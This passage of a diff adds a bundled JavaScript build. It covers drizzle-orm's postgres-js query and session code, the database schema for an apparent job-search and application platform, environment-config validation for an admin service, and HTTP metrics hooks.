queryString; + this.params = params; + this.logger = logger2; + this.fields = fields; + this._isResponseInArrayMode = _isResponseInArrayMode; + this.customResultMapper = customResultMapper; + } + static [entityKind] = "PostgresJsPreparedQuery"; + async execute(placeholderValues = {}) { + return tracer.startActiveSpan("drizzle.execute", async (span) => { + const params = fillPlaceholders(this.params, placeholderValues); + span?.setAttributes({ + "drizzle.query.text": this.queryString, + "drizzle.query.params": JSON.stringify(params) + }); + this.logger.logQuery(this.queryString, params); + const { fields, queryString: query, client, joinsNotNullableMap, customResultMapper } = this; + if (!fields && !customResultMapper) { + return tracer.startActiveSpan("drizzle.driver.execute", () => { + return this.queryWithCache(query, params, async () => { + return await client.unsafe(query, params); + }); + }); + } + const rows = await tracer.startActiveSpan("drizzle.driver.execute", () => { + span?.setAttributes({ + "drizzle.query.text": query, + "drizzle.query.params": JSON.stringify(params) + }); + return this.queryWithCache(query, params, async () => { + return await client.unsafe(query, params).values(); + }); + }); + return tracer.startActiveSpan("drizzle.mapResponse", () => { + return customResultMapper ? customResultMapper(rows) : rows.map((row) => mapResultRow(fields, row, joinsNotNullableMap)); + }); + }); + } + all(placeholderValues = {}) { + return tracer.startActiveSpan("drizzle.execute", async (span) => { + const params = fillPlaceholders(this.params, placeholderValues); + span?.setAttributes({ + "drizzle.query.text": this.queryString, + "drizzle.query.params": JSON.stringify(params) + }); + this.logger.logQuery(this.queryString, params); + return tracer.startActiveSpan("drizzle.driver.execute", () => { + span?.setAttributes({ + "drizzle.query.text": this.queryString, + "drizzle.query.params": JSON.stringify(params) + }); + return this.queryWithCache(this.queryString, params, async () => { + return this.client.unsafe(this.queryString, params); + }); + }); + }); + } + /** @internal */ + isResponseInArrayMode() { + return this._isResponseInArrayMode; + } +}; +var PostgresJsSession = class _PostgresJsSession extends PgSession { + constructor(client, dialect, schema, options = {}) { + super(dialect); + this.client = client; + this.schema = schema; + this.options = options; + this.logger = options.logger ?? new NoopLogger(); + this.cache = options.cache ?? new NoopCache(); + } + static [entityKind] = "PostgresJsSession"; + logger; + cache; + prepareQuery(query, fields, name, isResponseInArrayMode, customResultMapper, queryMetadata, cacheConfig) { + return new PostgresJsPreparedQuery( + this.client, + query.sql, + query.params, + this.logger, + this.cache, + queryMetadata, + cacheConfig, + fields, + isResponseInArrayMode, + customResultMapper + ); + } + query(query, params) { + this.logger.logQuery(query, params); + return this.client.unsafe(query, params).values(); + } + queryObjects(query, params) { + return this.client.unsafe(query, params); + } + transaction(transaction, config2) { + return this.client.begin(async (client) => { + const session = new _PostgresJsSession( + client, + this.dialect, + this.schema, + this.options + ); + const tx = new PostgresJsTransaction(this.dialect, session, this.schema); + if (config2) { + await tx.setTransaction(config2); + } + return transaction(tx); + }); + } +}; +var PostgresJsTransaction = class _PostgresJsTransaction extends PgTransaction { + constructor(dialect, session, schema, nestedIndex = 0) { + super(dialect, session, schema, nestedIndex); + this.session = session; + } + static [entityKind] = "PostgresJsTransaction"; + transaction(transaction) { + return this.session.client.savepoint((client) => { + const session = new PostgresJsSession( + client, + this.dialect, + this.schema, + this.session.options + ); + const tx = new _PostgresJsTransaction(this.dialect, session, this.schema); + return transaction(tx); + }); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/driver.js +var PostgresJsDatabase = class extends PgDatabase { + static [entityKind] = "PostgresJsDatabase"; +}; +function construct(client, config2 = {}) { + const transparentParser = (val) => val; + for (const type of ["1184", "1082", "1083", "1114", "1182", "1185", "1115", "1231"]) { + client.options.parsers[type] = transparentParser; + client.options.serializers[type] = transparentParser; + } + client.options.serializers["114"] = transparentParser; + client.options.serializers["3802"] = transparentParser; + const dialect = new PgDialect({ casing: config2.casing }); + let logger2; + if (config2.logger === true) { + logger2 = new DefaultLogger(); + } else if (config2.logger !== false) { + logger2 = config2.logger; + } + let schema; + if (config2.schema) { + const tablesConfig = extractTablesRelationalConfig( + config2.schema, + createTableRelationsHelpers + ); + schema = { + fullSchema: config2.schema, + schema: tablesConfig.tables, + tableNamesMap: tablesConfig.tableNamesMap + }; + } + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; + } + return db2; +} +function drizzle(...params) { + if (typeof params[0] === "string") { + const instance = src_default(params[0]); + return construct(instance, params[1]); + } + if (isConfig(params[0])) { + const { connection: connection2, client, ...drizzleConfig } = params[0]; + if (client) return construct(client, drizzleConfig); + if (typeof connection2 === "object" && connection2.url !== void 0) { + const { url: url2, ...config2 } = connection2; + const instance2 = src_default(url2, config2); + return construct(instance2, drizzleConfig); + } + const instance = src_default(connection2); + return construct(instance, drizzleConfig); + } + return construct(params[0], params[1]); +} +((drizzle2) => { + function mock(config2) { + return construct({ + options: { + parsers: {}, + serializers: {} + } + }, config2); + } + drizzle2.mock = mock; +})(drizzle || (drizzle = {})); + +// packages/db/src/schema/index.ts +var schema_exports = {}; +__export(schema_exports, { + EMBEDDING_DIMENSIONS: () => EMBEDDING_DIMENSIONS, + analyticsEvents: () => analyticsEvents, + applicationEvents: () => applicationEvents, + applicationModeEnum: () => applicationModeEnum, + applicationStatusEnum: () => applicationStatusEnum, + applications: () => applications, + applicationsRelations: () => applicationsRelations, + auditLogs: () => auditLogs, + authProviderEnum: () => authProviderEnum, + companies: () => companies, + companiesRelations: () => companiesRelations, + connectorAccounts: () => connectorAccounts, + contacts: () => contacts, + contactsRelations: () => contactsRelations, + employmentTypeEnum: () => employmentTypeEnum, + idempotencyKeys: () => idempotencyKeys, + jobScores: () => jobScores, + jobSourceEnum: () => jobSourceEnum, + jobs: () => jobs, + jobsRelations: () => jobsRelations, + memberRoleEnum: () => memberRoleEnum, + messageChannelEnum: () => messageChannelEnum, + messageStatusEnum: () => messageStatusEnum, + messages: () => messages2, + organizationMembers: () => organizationMembers, + organizationMembersRelations: () => organizationMembersRelations, + organizationPlanEnum: () => organizationPlanEnum, + organizationTypeEnum: () => organizationTypeEnum, + organizations: () => organizations, + organizationsRelations: () => organizationsRelations, + processedEvents: () => processedEvents, + remoteTypeEnum: () => remoteTypeEnum, + resumeStatusEnum: () => resumeStatusEnum, + resumes: () => resumes, + resumesRelations: () => resumesRelations, + students: () => students, + taskStatusEnum: () => taskStatusEnum, + tasks: () => tasks, + users: () => users, + usersRelations: () => usersRelations +}); + +// packages/db/src/schema/enums.ts +var organizationTypeEnum = pgEnum("organization_type", ORGANIZATION_TYPES); +var organizationPlanEnum = pgEnum("organization_plan", ORGANIZATION_PLANS); +var memberRoleEnum = pgEnum("member_role", MEMBER_ROLES); +var authProviderEnum = pgEnum("auth_provider", AUTH_PROVIDERS); +var remoteTypeEnum = pgEnum("remote_type", REMOTE_TYPES); +var employmentTypeEnum = pgEnum("employment_type", EMPLOYMENT_TYPES); +var resumeStatusEnum = pgEnum("resume_status", RESUME_STATUSES); +var applicationStatusEnum = pgEnum("application_status", APPLICATION_STATUSES); +var applicationModeEnum = pgEnum("application_mode", APPLICATION_MODES); +var messageChannelEnum = pgEnum("message_channel", MESSAGE_CHANNELS); +var messageStatusEnum = pgEnum("message_status", MESSAGE_STATUSES); +var taskStatusEnum = pgEnum("task_status", TASK_STATUSES); +var jobSourceEnum = pgEnum("job_source", JOB_SOURCES); + +// packages/db/src/schema/identity.ts +var timestamps = { + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}; +var organizations = pgTable( + "organizations", + { + organizationId: uuid3("organization_id").primaryKey().defaultRandom(), + name: varchar("name", { length: 200 }).notNull(), + type: organizationTypeEnum("type").notNull().default("individual"), + plan: organizationPlanEnum("plan").notNull().default("free"), + /** Optional vanity slug used by university/enterprise portals. */ + slug: varchar("slug", { length: 100 }), + settings: jsonb("settings").$type().notNull().default({}), + ...timestamps + }, + (table2) => [ + uniqueIndex("organizations_slug_key").on(table2.slug).where(sql`${table2.slug} IS NOT NULL`), + index("organizations_type_idx").on(table2.type) + ] +); +var users = pgTable( + "users", + { + /** Same UUID as the corresponding auth.users.id — see the handle_new_user + * trigger in packages/db/supabase/auth-hooks.sql. No default: the row is + * always created by that trigger, never inserted directly by app code. */ + userId: uuid3("user_id").primaryKey(), + /** Points at the resume currently treated as the canonical profile. */ + profileId: uuid3("profile_id"), + email: varchar("email", { length: 320 }).notNull(), + fullName: varchar("full_name", { length: 200 }).notNull(), + authProvider: authProviderEnum("auth_provider").notNull().default("password"), + /** + * Null for SSO users, who have no local credential. Never leaves this + * table — see docs/09 § Data protection. + */ + passwordHash: text("password_hash"), + emailVerified: boolean4("email_verified").notNull().default(false), + mfaEnabled: boolean4("mfa_enabled").notNull().default(false), + mfaSecret: text("mfa_secret"), + /** Consecutive failed logins, used for step-up/lockout (docs/09). */ + failedLoginCount: integer2("failed_login_count").notNull().default(0), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + lastLoginAt: timestamp("last_login_at", { withTimezone: true, mode: "string" }), + /** Set only where deletion is legally required (docs/02 § Design notes). */ + deletedAt: timestamp("deleted_at", { withTimezone: true, mode: "string" }), + ...timestamps + }, + (table2) => [ + // Case-insensitive uniqueness: `Ada@x.com` and `ada@x.com` are one account. + uniqueIndex("users_email_key").on(sql`lower(${table2.email})`), + index("users_profile_id_idx").on(table2.profileId) + ] +); +var organizationMembers = pgTable( + "organization_members", + { + organizationId: uuid3("organization_id").notNull().references(() => organizations.organizationId, { onDelete: "cascade" }), + userId: uuid3("user_id").notNull().references(() => users.userId, { onDelete: "cascade" }), + role: memberRoleEnum("role").notNull().default("member"), + permissions: jsonb("permissions").$type().notNull().default({}), + createdAt: timestamps.createdAt + }, + (table2) => [ + primaryKey({ columns: [table2.organizationId, table2.userId] }), + index("organization_members_user_idx").on(table2.userId) + ] +); +var students = pgTable( + "students", + { + studentId: uuid3("student_id").primaryKey().defaultRandom(), + organizationId: uuid3("organization_id").notNull().references(() => organizations.organizationId, { onDelete: "cascade" }), + userId: uuid3("user_id").notNull().references(() => users.userId, { onDelete: "cascade" }), + department: varchar("department", { length: 200 }), + graduationYear: integer2("graduation_year"), + currentStatus: varchar("current_status", { length: 80 }).notNull().default("active"), + createdAt: timestamps.createdAt + }, + (table2) => [ + uniqueIndex("students_org_user_key").on(table2.organizationId, table2.userId), + index("students_grad_year_idx").on(table2.organizationId, table2.graduationYear) + ] +); +var auditLogs = pgTable( + "audit_logs", + { + auditId: uuid3("audit_id").primaryKey().defaultRandom(), + organizationId: uuid3("organization_id").references(() => organizations.organizationId, { + onDelete: "set null" + }), + actorUserId: uuid3("actor_user_id").references(() => users.userId, { onDelete: "set null" }), + action: varchar("action", { length: 120 }).notNull(), + resourceType: varchar("resource_type", { length: 80 }).notNull(), + resourceId: varchar("resource_id", { length: 200 }), + traceId: varchar("trace_id", { length: 100 }), + metadata: jsonb("metadata").$type().notNull().default({}), + createdAt: timestamps.createdAt + }, + (table2) => [ + index("audit_logs_org_created_idx").on(table2.organizationId, table2.createdAt), + index("audit_logs_actor_idx").on(table2.actorUserId), + index("audit_logs_resource_idx").on(table2.resourceType, table2.resourceId) + ] +); +var usersRelations = relations(users, ({ many }) => ({ + memberships: many(organizationMembers) +})); +var organizationsRelations = relations(organizations, ({ many }) => ({ + members: many(organizationMembers), + students: many(students) +})); +var organizationMembersRelations = relations(organizationMembers, ({ one }) => ({ + organization: one(organizations, { + fields: [organizationMembers.organizationId], + references: [organizations.organizationId] + }), + user: one(users, { + fields: [organizationMembers.userId], + references: [users.userId] + }) +})); + +// packages/db/src/schema/profile.ts +var EMBEDDING_DIMENSIONS = 1536; +var resumes = pgTable( + "resumes", + { + resumeId: uuid3("resume_id").primaryKey().defaultRandom(), + userId: uuid3("user_id").notNull().references(() => users.userId, { onDelete: "cascade" }), + /** Object-store key, not a signed URL — those are minted on read. */ + storageUrl: text("storage_url").notNull(), + originalFilename: varchar("original_filename", { length: 400 }).notNull(), + contentType: varchar("content_type", { length: 200 }).notNull(), + byteSize: integer2("byte_size").notNull(), + /** SHA-256 of the file bytes; makes re-uploads idempotent per user. */ + contentHash: varchar("content_hash", { length: 64 }).notNull(), + status: resumeStatusEnum("status").notNull().default("pending"), + /** Sensitive: classified alongside the source document (docs/09). */ + parsedText: text("parsed_text"), + parsedProfile: jsonb("parsed_profile").$type(), + atsScore: real("ats_score"), + atsReport: jsonb("ats_report").$type(), + embedding: vector("embedding", { dimensions: EMBEDDING_DIMENSIONS }), + failureReason: text("failure_reason"), + parsedAt: timestamp("parsed_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Re-uploading the same file is a no-op rather than a duplicate record. + uniqueIndex("resumes_user_content_hash_key").on(table2.userId, table2.contentHash), + index("resumes_user_created_idx").on(table2.userId, table2.createdAt), + index("resumes_status_idx").on(table2.status) + ] +); +var resumesRelations = relations(resumes, ({ one }) => ({ + user: one(users, { fields: [resumes.userId], references: [users.userId] }) +})); + +// packages/db/src/schema/jobs.ts +var companies = pgTable( + "companies", + { + companyId: uuid3("company_id").primaryKey().defaultRandom(), + name: varchar("name", { length: 300 }).notNull(), + /** Lowercased, suffix-stripped name. The join key for cross-source dedupe. */ + normalizedName: varchar("normalized_name", { length: 300 }).notNull(), + industry: varchar("industry", { length: 200 }), + website: varchar("website", { length: 500 }), + domain: varchar("domain", { length: 255 }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + uniqueIndex("companies_normalized_name_key").on(table2.normalizedName), + index("companies_domain_idx").on(table2.domain), + // Trigram index for fuzzy company matching when normalization is not enough. + index("companies_name_trgm_idx").using("gin", sql`${table2.name} gin_trgm_ops`) + ] +); +var jobs = pgTable( + "jobs", + { + jobId: uuid3("job_id").primaryKey().defaultRandom(), + companyId: uuid3("company_id").notNull().references(() => companies.companyId, { onDelete: "cascade" }), + title: varchar("title", { length: 300 }).notNull(), + description: text("description"), + salaryMin: integer2("salary_min"), + salaryMax: integer2("salary_max"), + salaryCurrency: varchar("salary_currency", { length: 3 }), + salaryPeriod: varchar("salary_period", { length: 10 }), + location: varchar("location", { length: 300 }), + remoteType: remoteTypeEnum("remote_type").notNull().default("unknown"), + employmentType: employmentTypeEnum("employment_type").notNull().default("unknown"), + source: jobSourceEnum("source").notNull(), + externalId: varchar("external_id", { length: 400 }), + applyUrl: text("apply_url"), + /** + * SHA-256 over normalized company+title+location+remote type. Globally + * unique: two sources publishing the same role collapse to one row + * (docs/02 § Design notes). + */ + jobHash: varchar("job_hash", { length: 64 }).notNull(), + skills: jsonb("skills").$type().notNull().default([]), + embedding: vector("embedding", { dimensions: EMBEDDING_DIMENSIONS }), + /** Heuristic spam score, 0–1. Listings above the threshold are filtered. */ + spamScore: real("spam_score").notNull().default(0), + postedAt: timestamp("posted_at", { withTimezone: true, mode: "string" }), + expiresAt: timestamp("expires_at", { withTimezone: true, mode: "string" }), + isActive: boolean4("is_active").notNull().default(true), + /** Bumped every time a source re-reports the listing. */ + lastSeenAt: timestamp("last_seen_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + uniqueIndex("jobs_job_hash_key").on(table2.jobHash), + // A source may only report a given external id once. + uniqueIndex("jobs_source_external_id_key").on(table2.source, table2.externalId).where(sql`${table2.externalId} IS NOT NULL`), + index("jobs_company_idx").on(table2.companyId), + index("jobs_active_posted_idx").on(table2.isActive, table2.postedAt), + index("jobs_remote_type_idx").on(table2.remoteType), + index("jobs_title_trgm_idx").using("gin", sql`${table2.title} gin_trgm_ops`) + ] +); +var jobScores = pgTable( + "job_scores", + { + jobId: uuid3("job_id").notNull().references(() => jobs.jobId, { onDelete: "cascade" }), + userId: uuid3("user_id").notNull().references(() => users.userId, { onDelete: "cascade" }), + score: real("score").notNull(), + reasons: jsonb("reasons").$type().notNull().default([]), + skillGaps: jsonb("skill_gaps").$type().notNull().default([]), + modelVersion: varchar("model_version", { length: 80 }).notNull(), + scoredAt: timestamp("scored_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Composite PK rather than a unique index: one score per (job, user) is + // the identity of the row, and it gives the table a replica identity. + primaryKey({ columns: [table2.jobId, table2.userId] }), + index("job_scores_user_score_idx").on(table2.userId, table2.score) + ] +); +var jobsRelations = relations(jobs, ({ one, many }) => ({ + company: one(companies, { fields: [jobs.companyId], references: [companies.companyId] }), + scores: many(jobScores) +})); +var companiesRelations = relations(companies, ({ many }) => ({ + jobs: many(jobs) +})); + +// packages/db/src/schema/applications.ts +var applications = pgTable( + "applications", + { + applicationId: uuid3("application_id").primaryKey().defaultRandom(), + userId: uuid3("user_id").notNull().references(() => users.userId, { onDelete: "cascade" }), + jobId: uuid3("job_id").notNull().references(() => jobs.jobId, { onDelete: "cascade" }), + resumeId: uuid3("resume_id").references(() => resumes.resumeId, { onDelete: "set null" }), + organizationId: uuid3("organization_id").references(() => organizations.organizationId, { + onDelete: "set null" + }), + status: applicationStatusEnum("status").notNull().default("draft"), + mode: applicationModeEnum("mode").notNull().default("manual"), + /** + * Client-supplied and unique per user: a retried submission can never + * produce a second application (docs/04 § Validation rules). + */ + idempotencyKey: varchar("idempotency_key", { length: 200 }).notNull(), + coverLetter: text("cover_letter"), + submittedAt: timestamp("submitted_at", { withTimezone: true, mode: "string" }), + lastEventAt: timestamp("last_event_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + failureReason: text("failure_reason"), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + uniqueIndex("applications_user_idempotency_key").on(table2.userId, table2.idempotencyKey), + // One application per user per job, regardless of how it was triggered. + uniqueIndex("applications_user_job_key").on(table2.userId, table2.jobId), + index("applications_status_idx").on(table2.status), + index("applications_user_created_idx").on(table2.userId, table2.createdAt), + index("applications_org_idx").on(table2.organizationId) + ] +); +var applicationEvents = pgTable( + "application_events", + { + eventId: uuid3("event_id").primaryKey().defaultRandom(), + applicationId: uuid3("application_id").notNull().references(() => applications.applicationId, { onDelete: "cascade" }), + fromStatus: applicationStatusEnum("from_status"), + toStatus: applicationStatusEnum("to_status").notNull(), + note: text("note"), + metadata: jsonb("metadata").$type().notNull().default({}), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [index("application_events_app_created_idx").on(table2.applicationId, table2.createdAt)] +); +var contacts = pgTable( + "contacts", + { + contactId: uuid3("contact_id").primaryKey().defaultRandom(), + companyId: uuid3("company_id").notNull().references(() => companies.companyId, { onDelete: "cascade" }), + fullName: varchar("full_name", { length: 200 }), + title: varchar("title", { length: 200 }), + email: varchar("email", { length: 320 }), + linkedinUrl: varchar("linkedin_url", { length: 500 }), + relevanceScore: real("relevance_score"), + embedding: vector("embedding", { dimensions: EMBEDDING_DIMENSIONS }), + source: varchar("source", { length: 80 }).notNull().default("manual"), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + uniqueIndex("contacts_company_email_key").on(table2.companyId, table2.email), + index("contacts_company_idx").on(table2.companyId), + index("contacts_relevance_idx").on(table2.relevanceScore) + ] +); +var messages2 = pgTable( + "messages", + { + messageId: uuid3("message_id").primaryKey().defaultRandom(), + applicationId: uuid3("application_id").references(() => applications.applicationId, { + onDelete: "cascade" + }), + contactId: uuid3("contact_id").references(() => contacts.contactId, { onDelete: "set null" }), + userId: uuid3("user_id").notNull().references(() => users.userId, { onDelete: "cascade" }), + channel: messageChannelEnum("channel").notNull(), + status: messageStatusEnum("status").notNull().default("draft"), + subject: varchar("subject", { length: 400 }), + body: text("body").notNull(), + /** Required so a retried send cannot email the same contact twice. */ + idempotencyKey: varchar("idempotency_key", { length: 200 }).notNull(), + scheduledFor: timestamp("scheduled_for", { withTimezone: true, mode: "string" }), + sentAt: timestamp("sent_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + uniqueIndex("messages_user_idempotency_key").on(table2.userId, table2.idempotencyKey), + index("messages_status_scheduled_idx").on(table2.status, table2.scheduledFor), + index("messages_contact_idx").on(table2.contactId) + ] +); +var applicationsRelations = relations(applications, ({ one, many }) => ({ + user: one(users, { fields: [applications.userId], references: [users.userId] }), + job: one(jobs, { fields: [applications.jobId], references: [jobs.jobId] }), + resume: one(resumes, { fields: [applications.resumeId], references: [resumes.resumeId] }), + events: many(applicationEvents), + messages: many(messages2) +})); +var contactsRelations = relations(contacts, ({ one, many }) => ({ + company: one(companies, { fields: [contacts.companyId], references: [companies.companyId] }), + messages: many(messages2) +})); + +// packages/db/src/schema/ops.ts +var tasks = pgTable( + "tasks", + { + taskId: uuid3("task_id").primaryKey().defaultRandom(), + taskType: varchar("task_type", { length: 120 }).notNull(), + queueStatus: taskStatusEnum("queue_status").notNull().default("pending"), + retryCount: integer2("retry_count").notNull().default(0), + maxRetries: integer2("max_retries").notNull().default(5), + payload: jsonb("payload").$type().notNull().default({}), + lastError: text("last_error"), + lockedAt: timestamp("locked_at", { withTimezone: true, mode: "string" }), + /** Worker instance id holding the lock; used to reap crashed workers. */ + lockedBy: varchar("locked_by", { length: 200 }), + /** Next eligible run time — how backoff is expressed durably. */ + availableAt: timestamp("available_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + traceId: varchar("trace_id", { length: 100 }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + index("tasks_claim_idx").on(table2.queueStatus, table2.availableAt), + index("tasks_type_idx").on(table2.taskType), + index("tasks_locked_idx").on(table2.lockedAt) + ] +); +var analyticsEvents = pgTable( + "analytics_events", + { + eventId: uuid3("event_id").primaryKey().defaultRandom(), + organizationId: uuid3("organization_id").references(() => organizations.organizationId, { + onDelete: "cascade" + }), + userId: uuid3("user_id").references(() => users.userId, { onDelete: "set null" }), + eventType: varchar("event_type", { length: 120 }).notNull(), + payload: jsonb("payload").$type().notNull().default({}), + traceId: varchar("trace_id", { length: 100 }), + timestamp: timestamp("timestamp", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + index("analytics_events_org_time_idx").on(table2.organizationId, table2.timestamp), + index("analytics_events_type_time_idx").on(table2.eventType, table2.timestamp) + ] +); +var processedEvents = pgTable( + "processed_events", + { + eventId: uuid3("event_id").notNull(), + consumer: varchar("consumer", { length: 160 }).notNull(), + processedAt: timestamp("processed_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // The (event, consumer) pair *is* the row identity — a PK, not an index. + primaryKey({ columns: [table2.eventId, table2.consumer] }), + index("processed_events_processed_at_idx").on(table2.processedAt) + ] +); +var connectorAccounts = pgTable( + "connector_accounts", + { + connectorAccountId: uuid3("connector_account_id").primaryKey().defaultRandom(), + userId: uuid3("user_id").references(() => users.userId, { onDelete: "cascade" }), + organizationId: uuid3("organization_id").references(() => organizations.organizationId, { + onDelete: "cascade" + }), + provider: varchar("provider", { length: 80 }).notNull(), + /** Account id as known by the provider. */ + externalAccountId: varchar("external_account_id", { length: 300 }).notNull(), + /** Pointer into AWS Secrets Manager — never the credential itself. */ + secretRef: varchar("secret_ref", { length: 400 }).notNull(), + scopes: jsonb("scopes").$type().notNull().default([]), + status: varchar("status", { length: 40 }).notNull().default("active"), + /** Consent record required by docs/09 § Compliance posture. */ + consentGrantedAt: timestamp("consent_granted_at", { withTimezone: true, mode: "string" }), + expiresAt: timestamp("expires_at", { withTimezone: true, mode: "string" }), + lastSyncedAt: timestamp("last_synced_at", { withTimezone: true, mode: "string" }), + lastError: text("last_error"), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + uniqueIndex("connector_accounts_provider_external_key").on( + table2.provider, + table2.externalAccountId + ), + index("connector_accounts_user_idx").on(table2.userId), + index("connector_accounts_org_idx").on(table2.organizationId) + ] +); +var idempotencyKeys = pgTable( + "idempotency_keys", + { + key: varchar("key", { length: 200 }).notNull(), + scope: varchar("scope", { length: 120 }).notNull(), + userId: uuid3("user_id").references(() => users.userId, { onDelete: "cascade" }), + requestHash: varchar("request_hash", { length: 64 }).notNull(), + responseStatus: integer2("response_status"), + responseBody: jsonb("response_body").$type(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + expiresAt: timestamp("expires_at", { withTimezone: true, mode: "string" }).notNull() + }, + (table2) => [ + primaryKey({ columns: [table2.scope, table2.key] }), + index("idempotency_keys_expires_idx").on(table2.expiresAt) + ] +); + +// packages/db/src/client.ts +function createDatabase(options) { + const sql3 = src_default(options.url, { + max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, + // Prepared statements are disabled because pgbouncer in transaction mode + // (the deployment target) cannot support them. + prepare: false, + onnotice: options.onNotice ?? (() => { + }) + }); + const db2 = drizzle(sql3, { schema: schema_exports }); + return { + db: db2, + sql: sql3, + close: async () => { + await sql3.end({ timeout: 5 }); + } + }; +} +async function pingDatabase(sql3) { + try { + await sql3`SELECT 1`; + return true; + } catch { + return false; + } +} + +// services/admin/src/app.ts +var import_cors = __toESM(require_cors(), 1); +var import_rate_limit = __toESM(require_rate_limit(), 1); +var import_fastify = __toESM(require_fastify(), 1); + +// packages/config/src/env.ts +var nodeEnvSchema = external_exports.enum(["development", "test", "production"]); +var baseEnvSchema = external_exports.object({ + NODE_ENV: nodeEnvSchema.default("development"), + LOG_LEVEL: external_exports.enum(["fatal", "error", "warn", "info", "debug", "trace"]).default("info"), + LOG_PRETTY: external_exports.stringbool().default(false) +}); +var databaseEnvSchema = external_exports.object({ + DATABASE_URL: external_exports.string().min(1, "DATABASE_URL is required"), + DATABASE_POOL_MAX: external_exports.coerce.number().int().min(1).max(100).default(10) +}); +var redisEnvSchema = external_exports.object({ + REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") +}); +var messagingEnvSchema = external_exports.object({ + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + RABBITMQ_URL: external_exports.string().min(1).optional(), + MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), + MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) +}); +var storageEnvSchema = external_exports.object({ + STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), + S3_BUCKET: external_exports.string().optional(), + S3_REGION: external_exports.string().default("us-east-1"), + S3_ENDPOINT: external_exports.string().optional() +}); +var supabaseAuthEnvSchema = external_exports.object({ + SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") +}); +var httpEnvSchema = external_exports.object({ + HOST: external_exports.string().min(1).default("0.0.0.0"), + PORT: external_exports.coerce.number().int().min(1).max(65535), + /** Comma-separated list, or `*` in development only. */ + CORS_ORIGINS: external_exports.string().default(""), + RATE_LIMIT_MAX: external_exports.coerce.number().int().min(1).default(300), + RATE_LIMIT_WINDOW: external_exports.string().default("1 minute"), + BODY_LIMIT_BYTES: external_exports.coerce.number().int().min(1024).default(1048576) +}); +var ConfigError = class extends Error { + constructor(service, issues) { + super(`Invalid configuration for ${service}: + - ${issues.join("\n - ")}`); + this.service = service; + this.issues = issues; + this.name = "ConfigError"; + } +}; +function loadEnv(service, schema, source = process.env) { + const result = schema.safeParse(source); + if (!result.success) { + const issues = result.error.issues.map((issue2) => { + const path = issue2.path.join(".") || "(root)"; + return `${path}: ${issue2.message}`; + }); + throw new ConfigError(service, issues); + } + return result.data; +} +function parseCorsOrigins(value) { + const trimmed = value.trim(); + if (trimmed === "*") return true; + if (trimmed === "") return []; + return trimmed.split(",").map((origin) => origin.trim()).filter((origin) => origin.length > 0); +} + +// packages/observability/src/metrics.ts +var import_client = __toESM(require_client(), 1); +function createMetricsRegistry(serviceName) { + const registry2 = new import_client.Registry(); + registry2.setDefaultLabels({ service: serviceName }); + (0, import_client.collectDefaultMetrics)({ register: registry2 }); + const httpRequestsTotal = new import_client.Counter({ + name: "http_requests_total", + help: "Total HTTP requests handled, labeled by route pattern (not raw URL, to keep cardinality bounded)", + labelNames: ["method", "route", "status_code"], + registers: [registry2] + }); + const httpRequestDurationSeconds = new import_client.Histogram({ + name: "http_request_duration_seconds", + help: "HTTP request duration in seconds", + labelNames: ["method", "route", "status_code"], + buckets: [5e-3, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5], + registers: [registry2] + }); + return { registry: registry2, httpRequestsTotal, httpRequestDurationSeconds }; +} + +// packages/observability/src/fastify.ts +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { + request.metricsStartTime = process.hrtime.bigint(); + }); + app2.addHook("onResponse", async (request, reply) => { + const route = request.routeOptions.url ?? request.url; + const labels = { method: request.method, route, status_code: String(reply.statusCode) }; + metrics2.httpRequestsTotal.inc(labels); + if (request.metricsStartTime !== void 0) { + const elapsedSeconds = Number(process.hrtime.bigint() - request.metricsStartTime) / 1e9; + metrics2.httpRequestDurationSeconds.observe(labels, elapsedSeconds); + } + }); +} 